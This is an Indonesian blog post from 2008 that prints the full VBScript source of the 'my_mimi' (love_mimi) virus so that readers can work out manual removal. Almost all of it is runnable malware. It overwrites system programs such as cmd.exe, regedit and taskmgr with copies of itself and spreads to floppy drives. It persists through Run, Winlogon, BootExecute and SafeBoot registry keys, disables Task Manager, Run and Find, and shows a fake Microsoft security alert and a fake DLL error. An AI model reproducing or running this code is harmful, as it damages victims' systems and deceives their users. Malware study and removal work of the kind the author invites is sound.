Source Code virus love_mimi

January 28th, 2008 by slcteam

Nampaknya saya gak sempat dan tidak akan sempat membuat analisis virus bandel yang satu ini. tapi saya harap dengan memposting source code ini ada diantara teman2 yang mau membuat cara manual removalnya. dengan source code ini anda bisa melihat langsung badan virus dan apa saja yang dilakukannya. sehingga dapat melakukan pembersihan manual.
wassalam
——————————–[mulai]———————–
Set love = createobject(StrReverse(”tcejbOmetsySelif.gnitpircS”))

Set dear = createobject(StrReverse(”llehS.tpircSW”))

qi = “c:\regedit.vbs”

syau = “c:\mymimi.vbs”

heiji = “c:\notepad.vbs”

forest = “c:\antivirus.vbs”

han = “c:\windows\svchost.exe”

tachoor = “c:\windows\EXPL0RER.vbs”

mimi = “c:\windows\system\WinUpdt.vbs”

on error resume next

love.CopyFile wscript.scriptfullname, tachoor

on error resume next

love.CopyFile wscript.scriptfullname, mimi

on error resume next

iqra = dear.regread(”HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Kernell32″)

If iqra “c:\windows\svchost.exe ” & tachoor then

on error resume next

dear.RegWrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows ScriptingHost\Settings\Timeout”, 0, “REG_DWORD”

dear.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Kernell32″, “c:\windows\svchost.exe ” & tachoor

dear.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\AVGuard32″, “c:\windows\svchost.exe ” & mimi

dear.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\PCMAVscanner”, “c:\windows\svchost.exe ” & syau

done = MsgBox(”The application or DLL C:\WINDOWS\system32\MSVBVM60.DLL is not a valid Windows image. Please check this againts your installation diskette.”, 16, “msvbvm60.dll - Bad Image”)

dear.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices\SVCH0ST”, “c:\windows\svchost.exe ” & mimi

love.CopyFile wscript.scriptfullname, “A:\diary_rahmi.vbe”

on error resume next

love.CopyFile wscript.scriptfullname, tachoor

on error resume next

love.CopyFile wscript.scriptfullname, “C:\WINDOWS\msvbvm60.dll”

on error resume next

love.CopyFile wscript.scriptfullname, “C:\WINDOWS\system32\msvbvm60.dll”

on error resume next

love.CopyFile wscript.scriptfullname, “C:\WINDOWS\system32\msvbvm50.dll”

on error resume next

love.CopyFile wscript.scriptfullname, “C:\WINDOWS\system32\msihnd.dll”

on error resume next

love.CopyFile wscript.scriptfullname, “C:\WINDOWS\system32\msvbvnvvm60.dll”

on error resume next

love.CopyFile wscript.scriptfullname, “C:\WINDOWS\TASKMAN.exe”

on error resume next

love.CopyFile wscript.scriptfullname, “C:\WINDOWS\NOTEPAD.exe”

on error resume next

love.CopyFile wscript.scriptfullname, “C:\WINDOWS\R.com”

on error resume next

love.CopyFile wscript.scriptfullname, “C:\WINDOWS\REGEDIT.com”

on error resume next

love.CopyFile wscript.scriptfullname, “C:\WINDOWS\regedit.exe”

on error resume next

love.CopyFile wscript.scriptfullname, “C:\WINDOWS\system32\nusrmgr.cpl”

on error resume next

love.CopyFile wscript.scriptfullname, “C:\WINDOWS\system32\cmd.exe”

on error resume next

love.CopyFile wscript.scriptfullname, “C:\WINDOWS\system32\control.exe”

on error resume next

love.CopyFile wscript.scriptfullname, “C:\WINDOWS\system32\msiexec.exe”

on error resume next

love.CopyFile wscript.scriptfullname, “C:\WINDOWS\system32\regedt32.exe”

on error resume next

love.CopyFile wscript.scriptfullname, “C:\WINDOWS\system32\taskman.exe”

on error resume next

love.CopyFile wscript.scriptfullname, “C:\WINDOWS\system32\taskmgr.exe”

on error resume next

love.CopyFile wscript.scriptfullname, “C:\WINDOWS\system32\command.com”

on error resume next

love.CopyFile wscript.scriptfullname, “C:\WINDOWS\system32\T.com”

on error resume next

love.CopyFile wscript.scriptfullname, “C:\WINDOWS\system32\TASKMGR.com”

on error resume next

love.CopyFile wscript.scriptfullname, “C:\WINDOWS\system32\Restore\rstrui.exe”

on error resume next

love.CopyFile wscript.scriptfullname, “C:\WINDOWS\system32\Restore\srdiag.exe”

on error resume next

love.CopyFile wscript.scriptfullname, “C:\WINDOWS\system32\Restore\srframe.mmf”

on error resume next

love.CopyFile wscript.scriptfullname, “C:\WINDOWS\system32\Restore\rstrlog.dat”

on error resume next

cdrsqnx()

dwozmc()

ontrus()

else

on error resume next

love.CopyFile wscript.scriptfullname, “A:\diary_mimi.vbs”

on error resume next

love.CopyFile wscript.scriptfullname, tachoor

on error resume next

love.CopyFile wscript.scriptfullname, “C:\Documents and Settings\All Users\Start Menu\Programs\Startup\PCMAVExtMonitor.vbs”

on error resume next

love.CopyFile wscript.scriptfullname, “C:\WINDOWS\system32\msvbvm60.dll”

on error resume next

love.CopyFile wscript.scriptfullname, “C:\WINDOWS\system32\msvbvm50.dll”

on error resume next

love.CopyFile wscript.scriptfullname, “C:\WINDOWS\msvbvm60.dll”

on error resume next

love.CopyFile wscript.scriptfullname, “C:\WINDOWS\system32\msvbvm60.dll”

on error resume next

love.CopyFile wscript.scriptfullname, “C:\WINDOWS\system32\msvbvnvvm60.dll”

on error resume next

love.CopyFile wscript.scriptfullname, “C:\WINDOWS\system32\nusrmgr.cpl”

on error resume next

hcdmshsx()

cdrsqnx()

dwozmc()

ontrus()

End if

Sub hcdmshsx()

Dim married

on error resume next

married = “


my_mimi ♥

” & “

muka bego!! ngapain mandangin kompie ini trus2an!? cari dong anti virusnya!!

klik di sini!

♣ ♠ ♦ ♥ Pada komputer ini bersarang virus my_mimi ♣ ♠ ♦ ♥ Komputer iko kanai virus my_mimi ♣ ♠ ♦ ♥ This computer is a victim of virus my_mimi ♣ ♠ ♦ ♥ with love, mr.han
”

Set hateness = love.createtextfile(”C:\windows\my_mimi.html”,1)

hateness.Write married

Set hateness = love.createtextfile(”C:\Documents and Settings\All Users\Desktop\mimi on internet.html”,1)

hateness.Write married

hateness.Close

on error resume next

Set broken = love.createtextfile(”C:\Documents and Settings\All Users\Start Menu\Programs\Startup\sywq.ini”, 1)

broken.WriteLine “::::::,…..:;.,,,,,..,…,,,::,,,,:::::::::;:;;;;;;;rrrrrr;;;;;;r@@@AS2AMHG3hrsy@” & vbCrlf & “:,….,,…..;,,.. … ..:,,:::::::::::;;;;;;;;rrrrsr;;;;;;;:s@@@92322@@@;wQ@” & vbCrlf & “..,,,,,,,,,..,, .;r3HAH@@@G5:….,:::::::;;;s;;;;;;rrrrrssrr;;;r;;,X@X5XXXHMB@3201″ & vbCrlf & “,,,,,,,,,,,. .i&@@@@@@@@@@@@@@9Sr,.;::::;;;:s;;;;;rrrr;;:;;;;;:;;;::G22X3H@2sAMB3,” & vbCrlf & “,,,,,,,,,,. r@@@@@@@@@@@@###@@@@@#Sr;::;;;;:rr;rrs;;::::::,,:rGB2r:,r23&B@M2r#@@@h” & vbCrlf & “,,,,,,,,,..&@@@@@@@@@@#AX5525S5h@@@5::;;;;;;rr;;;:::::,,.:sG@@@@@@HSs2XA##A9rB@@@B” & vbCrlf & “,,,,,,,,.:@@@@@###AAA95iSS522XB@M5SA;:;rrr;;;::::,,,..:iA@@@@@@@@@@@ASX3HHA&r3&G&H” & vbCrlf & “,,,,,,,.:@@@@@##Mh225XGM##H&GSX##AS5s:;rr;:::,,,…:5M@@@@@@####@@@@@323AAHAr2HA&&” & vbCrlf & “,,,,,,,.A@@@####B35XH#####MA92i2#@@Br,..,::::,.,;X#@@@@@##MMMMMM####@@AhhhBAsX#BBA” & vbCrlf & “,,,,,,.5@@##M##@#92&AhhH#@#A922sr5srSs;…,,:;H@@@@@@#MBBBBBMMMBHHB##3s2AGMHi5&HMA” & vbCrlf & “,,,,,,;@@#MBM##@@XiX9B#@@BA9X253HBB@#2s;…..,rh@@@@##MMMMMMBBHHAA2: rHMHi2GXGA” & vbCrlf & “;,,,,.s@@#MM###@#5s2AAX5552XhGX@@@BAXSir;…. ;h@@@###MBBHH&hS, A#B59B3X3″ & vbCrlf & “;:,:, s@@MB#####hsiSissiS2223&AAh3X&&X93S; … ,2#@#MBBHG3Xii.,, H@B2G#A&h” & vbCrlf & “:;::,..M@MBB##@HSrsssiS222XX32222&####MH&X…… .iB@#h2Sii53X:r: M@BX&#HAG” & vbCrlf & “::;::, ;@#MMM#@#2rsSiS222XXX3X9A#@HAHM@#G&; .,,…. rGA35522X&X:r: ##B&HBBH&” & vbCrlf & “::;;:,. S@#MM#@@H5iSSS522XX339&MMGhB##@@M&;,:..,,…. ;hMAX52XAX:r; ##B&HAHBA” & vbCrlf & “:::;:::. 2B93AMMH&255SS2XX3939G&G&BMBH&hX2,.;;:……… :XMHX2XA9;;,,##BHMHAMA” & vbCrlf & “:;;;;::. s#5XGHX2iS55552X9hhG&ABBHA&&ABBB; .,:;,…,,,… .iBM&XGAr,r##BMAsHMH” & vbCrlf & “rr;::,,,. XAA#AGGSsS222X39G&&AAA&hh&B##@@: …,:;,..,,,,,… rA#H&X,;##B#& rMA” & vbCrlf & “::,,,,,,,. ,shA5235sS22X3h&AAAAA&&HM#@@@9 …..,:;,..,,,,.,. :9##Xi##B#@r.2G” & vbCrlf & “:::,,,,,,.. :X@@3rri2X339G&AHM##@@@@@#Xr …..,,::,..,,….. ,5MAM#M#@@@@&” & vbCrlf & “:,,,,,,,,… ;B@M2s29GAAHM#@@@@@@###MHHi …….,::,……… r##M@@#@@@” & vbCrlf & “,,,,,,,,…… ,iSS9&AAAAAHHHHHA&GGGAAMs ..::, …… .:3MMB#@#BHM” & vbCrlf & “,,,,,,………. ,29999939h&AA&&AB#@@@@3:,.. .,. .. ,@@@#BB#@@AAH” & vbCrlf & “,,,,,,,…,……. s23GAB##########@@@@@@@@@@@@BhSr:,,. ,M@@@@@@#B#@@HGA” & vbCrlf & “,,,,,,,,,.,,.. ,:;&##@@###MMMM#MMBBM###@@@@@@@@@@@@@@@@H2H@@@@@@@@@@#@@#GA” & vbCrlf & “,,,,,,,,,,. ,;rsiSh#@@@@@@#####MMM#######MBHAH#@#BMMB25hBM#@@@@@@@@#@@@@@@@@@@AA” & vbCrlf & “,,,,,,,.. :X@@@@@@@@@@@@@@####MMMM#######MMMMB&M@@@###HX3XX995hHAAA&&#@@@@@@@@@MA” & vbCrlf & “,,,,,,,. ;B@@@@@@@@@@@##M##########MH&923&BHH#@HHM#@@@MB##952A3X&Hi2hB#@@@@#@@@@@B” & vbCrlf & “,,,,,,,.9@@@@#@@##@@@@#MM########@@MB##MBM#@@@@@#h2SA#@#H;sX33&hXAX392&AM#A2B@@@@@” & vbCrlf & “,,,,,,.2@@BM#MM#@##@@@@#B#@@@@@@@@@@@@@@@@@@@@@@@##@#@@@@ASG9h&Xh9hSA23X32S3&#@@@@” & vbCrlf & “,,,,,.:@@AB##M####@@@@@@#M#@@@@@#@@@@@@@@@@@@@@@@@#@@@@@@@@@2i5iX5s2G355X2GG2iG@@#” & vbCrlf & “,,,,,.&@BMBBM#M#@#@@@@@@@###@@@@@@@@@@@@@@@@@@@@@@##@@@@@@@@@@@B#MA9G#M##MBA#MX2#@” & vbCrlf & “::,,.;@#M#HH###M#@@@@@@@@@##@@@##@@#@@@@@@@@@@@@@@###@@@@@@@@@@@@@@@@@@@@@@@@@@BM@” & vbCrlf & “…. ;BHHBHHMM##M##@@@@@@@@######@@@@@@@@@############@@@@@@@@@###################” & vbCrlf & “” & vbCrlf & “mimi…” & vbCrlf & “lo emang my_mimi!!” & vbCrlf & “” & vbCrlf & “however you are,,” & vbCrlf & “IjustWANNAbeWITHu..” & vbCrlf & ” ” & vbCrlf & “[credits]” & vbCrlf & ” ” & vbCrlf & “mr.han (d_janer’z crew!)” & vbCrlf & “haecal (d_janer’z crew!)” & vbCrlf & “rendi (d_janer’z crew!)” & vbCrlf & “siwa (d_janer’z crew!)”& vbCrlf & “kharisma (phatigokil)” & vbCrlf & “all d_janer’z crew!!! smansa padang”

Set broken = love.createtextfile(”C:\Documents and Settings\All Users\Desktop\my beLoved mimi.ini”, 1)

broken.WriteLine “::::::,…..:;.,,,,,..,…,,,::,,,,:::::::::;:;;;;;;;rrrrrr;;;;;;r@@@AS2AMHG3hrsy@” & vbCrlf & “:,….,,…..;,,.. … ..:,,:::::::::::;;;;;;;;rrrrsr;;;;;;;:s@@@92322@@@;wQ@” & vbCrlf & “..,,,,,,,,,..,, .;r3HAH@@@G5:….,:::::::;;;s;;;;;;rrrrrssrr;;;r;;,X@X5XXXHMB@3201″ & vbCrlf & “,,,,,,,,,,,. .i&@@@@@@@@@@@@@@9Sr,.;::::;;;:s;;;;;rrrr;;:;;;;;:;;;::G22X3H@2sAMB3,” & vbCrlf & “,,,,,,,,,,. r@@@@@@@@@@@@###@@@@@#Sr;::;;;;:rr;rrs;;::::::,,:rGB2r:,r23&B@M2r#@@@h” & vbCrlf & “,,,,,,,,,..&@@@@@@@@@@#AX5525S5h@@@5::;;;;;;rr;;;:::::,,.:sG@@@@@@HSs2XA##A9rB@@@B” & vbCrlf & “,,,,,,,,.:@@@@@###AAA95iSS522XB@M5SA;:;rrr;;;::::,,,..:iA@@@@@@@@@@@ASX3HHA&r3&G&H” & vbCrlf & “,,,,,,,.:@@@@@##Mh225XGM##H&GSX##AS5s:;rr;:::,,,…:5M@@@@@@####@@@@@323AAHAr2HA&&” & vbCrlf & “,,,,,,,.A@@@####B35XH#####MA92i2#@@Br,..,::::,.,;X#@@@@@##MMMMMM####@@AhhhBAsX#BBA” & vbCrlf & “,,,,,,.5@@##M##@#92&AhhH#@#A922sr5srSs;…,,:;H@@@@@@#MBBBBBMMMBHHB##3s2AGMHi5&HMA” & vbCrlf & “,,,,,,;@@#MBM##@@XiX9B#@@BA9X253HBB@#2s;…..,rh@@@@##MMMMMMBBHHAA2: rHMHi2GXGA” & vbCrlf & “;,,,,.s@@#MM###@#5s2AAX5552XhGX@@@BAXSir;…. ;h@@@###MBBHH&hS, A#B59B3X3″ & vbCrlf & “;:,:, s@@MB#####hsiSissiS2223&AAh3X&&X93S; … ,2#@#MBBHG3Xii.,, H@B2G#A&h” & vbCrlf & “:;::,..M@MBB##@HSrsssiS222XX32222&####MH&X…… .iB@#h2Sii53X:r: M@BX&#HAG” & vbCrlf & “::;::, ;@#MMM#@#2rsSiS222XXX3X9A#@HAHM@#G&; .,,…. rGA35522X&X:r: ##B&HBBH&” & vbCrlf & “::;;:,. S@#MM#@@H5iSSS522XX339&MMGhB##@@M&;,:..,,…. ;hMAX52XAX:r; ##B&HAHBA” & vbCrlf & “:::;:::. 2B93AMMH&255SS2XX3939G&G&BMBH&hX2,.;;:……… :XMHX2XA9;;,,##BHMHAMA” & vbCrlf & “:;;;;::. s#5XGHX2iS55552X9hhG&ABBHA&&ABBB; .,:;,…,,,… .iBM&XGAr,r##BMAsHMH” & vbCrlf & “rr;::,,,. XAA#AGGSsS222X39G&&AAA&hh&B##@@: …,:;,..,,,,,… rA#H&X,;##B#& rMA” & vbCrlf & “::,,,,,,,. ,shA5235sS22X3h&AAAAA&&HM#@@@9 …..,:;,..,,,,.,. :9##Xi##B#@r.2G” & vbCrlf & “:::,,,,,,.. :X@@3rri2X339G&AHM##@@@@@#Xr …..,,::,..,,….. ,5MAM#M#@@@@&” & vbCrlf & “:,,,,,,,,… ;B@M2s29GAAHM#@@@@@@###MHHi …….,::,……… r##M@@#@@@” & vbCrlf & “,,,,,,,,…… ,iSS9&AAAAAHHHHHA&GGGAAMs ..::, …… .:3MMB#@#BHM” & vbCrlf & “,,,,,,………. ,29999939h&AA&&AB#@@@@3:,.. .,. .. ,@@@#BB#@@AAH” & vbCrlf & “,,,,,,,…,……. s23GAB##########@@@@@@@@@@@@BhSr:,,. ,M@@@@@@#B#@@HGA” & vbCrlf & “,,,,,,,,,.,,.. ,:;&##@@###MMMM#MMBBM###@@@@@@@@@@@@@@@@H2H@@@@@@@@@@#@@#GA” & vbCrlf & “,,,,,,,,,,. ,;rsiSh#@@@@@@#####MMM#######MBHAH#@#BMMB25hBM#@@@@@@@@#@@@@@@@@@@AA” & vbCrlf & “,,,,,,,.. :X@@@@@@@@@@@@@@####MMMM#######MMMMB&M@@@###HX3XX995hHAAA&&#@@@@@@@@@MA” & vbCrlf & “,,,,,,,. ;B@@@@@@@@@@@##M##########MH&923&BHH#@HHM#@@@MB##952A3X&Hi2hB#@@@@#@@@@@B” & vbCrlf & “,,,,,,,.9@@@@#@@##@@@@#MM########@@MB##MBM#@@@@@#h2SA#@#H;sX33&hXAX392&AM#A2B@@@@@” & vbCrlf & “,,,,,,.2@@BM#MM#@##@@@@#B#@@@@@@@@@@@@@@@@@@@@@@@##@#@@@@ASG9h&Xh9hSA23X32S3&#@@@@” & vbCrlf & “,,,,,.:@@AB##M####@@@@@@#M#@@@@@#@@@@@@@@@@@@@@@@@#@@@@@@@@@2i5iX5s2G355X2GG2iG@@#” & vbCrlf & “,,,,,.&@BMBBM#M#@#@@@@@@@###@@@@@@@@@@@@@@@@@@@@@@##@@@@@@@@@@@B#MA9G#M##MBA#MX2#@” & vbCrlf & “::,,.;@#M#HH###M#@@@@@@@@@##@@@##@@#@@@@@@@@@@@@@@###@@@@@@@@@@@@@@@@@@@@@@@@@@BM@” & vbCrlf & “…. ;BHHBHHMM##M##@@@@@@@@######@@@@@@@@@############@@@@@@@@@###################” & vbCrlf & “” & vbCrlf & “mimi…” & vbCrlf & “lo emang my_mimi!!” & vbCrlf & “” & vbCrlf & “however you are,,” & vbCrlf & “IjustWANNAbeWITHu..” & vbCrlf & ” ” & vbCrlf & “[credits]” & vbCrlf & ” ” & vbCrlf & “mr.han (d_janer’z crew!)” & vbCrlf & “haecal (d_janer’z crew!)” & vbCrlf & “rendi (d_janer’z crew!)” & vbCrlf & “siwa (d_janer’z crew!)” & vbCrlf & “kharisma (phatigokil)” & vbCrlf & “all d_janer’z crew!!! smansa padang”

Set broken = love.createtextfile(qi, 1)

broken.WriteLine “MsgBox ” & chr(34) & “Knp sih kamu buka regedit? Dah bosan ya jadi temen aku? Kamu tega banget!” & chr(34) & “, vbOKonly,” & chr(34) & “my_mimi : (” & chr(34)

Set broken = love.createtextfile(heiji, 1)

broken.WriteLine “MsgBox ” & chr(34) & “Kamu nyari notepad ya? Dia lagi pergi ma wordpad. Ada pesan?” & chr(34) & “, vbOKonly,” & chr(34) & “my_mimi : P” & chr(34)

Set broken = love.createtextfile(forest, 1)

broken.WriteLine “MsgBox ” & chr(34) & “Ngapain kamu make antivirus? Kamu pikir aku ini virus yg ngerusak kamu? Klo gitu biar aku cari teman lain aja!” & chr(34) & “, vbOKonly,” & chr(34) & “my_mimi : (” & chr(34)

Set broken = love.createtextfile(syau, 1)

broken.WriteLine “MsgBox ” & chr(34) & “hy, seneng deyh ketemuwh kamu lagi!” & chr(34) & “, vbOKonly,” & chr(34) & “my_mimi ^_~” & chr(34)

broken.Close

End sub

Sub cdrsqnx()

On Error resume next

Set dear = createobject(StrReverse(”llehS.tpircSW”))

with dear

.RegWrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticetext”, “Windows Security Center has been detected a new kind virus on your machine {codename: my_mimi}. This virus can causes your machine MELEDAK GITU LOH! Please tell Microsoft about this or use Microsoft Windows Automatic Update. For further information, contact us at : customercare@microsoft.com ”

.RegWrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticecaption”, “Windows Security Center Alert”

.RegWrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\Start Page”, “C:\windows\my_mimi.html”

.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Logon User Name”, “mimi”

.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\AltDefaultUserName”, “mimi”

.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\DefaultUserName”, “mimi”

.RegWrite “HKEY_CURRENT_USER\Control Panel\Desktop\ConvertedWallpaper”, “C:\windowsmy_mimi.html”

.RegWrite “HKEY_CURRENT_USER\Control Panel\Desktop\ScreenSaveActive”, “1″

.RegWrite “HKEY_CURRENT_USER\Control Panel\Desktop\SCRNSAVE.EXE”, “C:\WINDOWS\system32\marquee.scr”

.RegWrite “HKEY_CURRENT_USER\Control Panel\Desktop\Screen Saver.Marquee\Attributes”, “00011″

.RegWrite “HKEY_CURRENT_USER\Control Panel\Desktop\Screen Saver.Marquee\BackgroundColor”, “0 0 0″

.RegWrite “HKEY_CURRENT_USER\Control Panel\Desktop\Screen Saver.Marquee\CharSet”, “0″

.RegWrite “HKEY_CURRENT_USER\Control Panel\Desktop\Screen Saver.Marquee\Font”, “Verdana”

.RegWrite “HKEY_CURRENT_USER\Control Panel\Desktop\Screen Saver.Marquee\Mode”, “1″

.RegWrite “HKEY_CURRENT_USER\Control Panel\Desktop\Screen Saver.Marquee\Size”, “24″

.RegWrite “HKEY_CURRENT_USER\Control Panel\Desktop\Screen Saver.Marquee\Speed”, “3″

.RegWrite “HKEY_CURRENT_USER\Control Panel\Desktop\Screen Saver.Marquee\Text”, “my_mimi by mr. han (d_janer’z crew!)”

.RegWrite “HKEY_CURRENT_USER\Control Panel\Desktop\Screen Saver.Marquee\TextColor”, “255 0 0″

.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\SearchHidden”, 0, “REG_DWORD”

.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\SearchSystemDirs”, 0, “REG_DWORD”

.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\ThumbnailSize”, 100, “REG_DWORD”

.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\SuperHidden”, 1, “REG_DWORD”

.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden”, 0, “REG_DWORD”

.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\NoFolderOptions”, 0, “REG_DWORD”

.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, 1, “REG_DWORD”

.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, 1, “REG_DWORD”

.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, 1, “REG_DWORD”

.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, 0, “REG_DWORD”

.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFileMenu”, 1, “REG_DWORD”

.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives”, 4, “REG_DWORD”

.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp\Disabled”, 1, “REG_DWORD”

.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop\NoChangingWallpaper”, 1, “REG_DWORD”

.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt”, 1, “REG_DWORD”

.RegWrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\SearchHidden”, 0, “REG_DWORD”

.RegWrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\SuperHidden”, 1, “REG_DWORD”

.RegWrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden”, 0, “REG_DWORD”

.RegWrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\SearchSystemDirs”, 0, “REG_DWORD”

.RegWrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\ThumbnailSize”, 100, “REG_DWORD”

.RegWrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, 1, “REG_DWORD”

.RegWrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\NoFolderOptions”, 0, “REG_DWORD”

.RegWrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, 0, “REG_DWORD”

.RegWrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFileMenu”, 1, “REG_DWORD”

.RegWrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, 1, “REG_DWORD”

.RegWrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, 1, “REG_DWORD”

.RegWrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoTrayContextMenu”, 1, “REG_DWORD”

.RegWrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp\Disabled”, 1, “REG_DWORD”

.RegWrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt”, 1, “REG_DWORD”

.RegWrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\ControlPanelInMyComputer\CheckedValue”, 1, “REG_DWORD”

.RegWrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\ControlPanelInMyComputer\UncheckedValue”, 1, “REG_DWORD”

.RegWrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\ControlPanelInMyComputer\DefaultValue”, 1, “REG_DWORD”

.RegWrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\SuperHidden\CheckedValue”, 0, “REG_DWORD”

.RegWrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\SuperHidden\UncheckedValue”, 0, “REG_DWORD”

.RegWrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\SuperHidden\DefaultValue”, 0, “REG_DWORD”

.RegWrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\SuperHidden\WarningIfNotDefault”, “Ngapain sih main buka-bukaan? Ntar aku bilang mama kamu lho!”

.RegWrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\HideFileExt\CheckedValue”, 1, “REG_DWORD”

.RegWrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\HideFileExt\UncheckedValue”, 1, “REG_DWORD”

.RegWrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\HideFileExt\CheckedValue”, 1, “REG_DWORD”

.RegWrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\HideFileExt\WarningIfNotDefault”, “Hei! Knapa kamu mo liat rahasia aq? Wlaupun qt tmnan, aq ttp punya rahasia yg g blh kamu tau!”

.RegWrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\StartMenu\StartPanel\ControlPanel\Hide\CheckedValue”, “1″

.RegWrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\StartMenu\StartPanel\ControlPanel\Hide\DefaultValue”, “1″

.RegWrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\SystemFileProtection\ShowPopup”, 1, “REG_DWORD”

.RegWrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit”, “C:\WINDOWS\system32\userinit.exe, c:\windows\svchost.exe ” & mimi

.RegWrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\shell”, “explorer.exe, c:\windows\svchost.exe ” & mimi

.RegWrite “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\BootExecute”, “c:\windows\svchost.exe ” & mimi

.RegWrite “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment\ComSpec”, “%SystemRoot%\system32\cmd.exe, c:\windows\svchost.exe ” & mimi

.RegWrite “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\PugPlay\ImagePath”, “%SystemRoot%\system32\services.exe, c:\windows\svchost.exe ” & mimi

.RegWrite “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\AlternateShell”, “c:\windows\svchost.exe ” & mimi

.RegWrite “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\srservice\ImagePathservice”, “c:\windows\svchost.exe ” & mimi

.RegWrite “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NPFMntor\ImagePath”, “c:\windows\svchost.exe ” & mimi

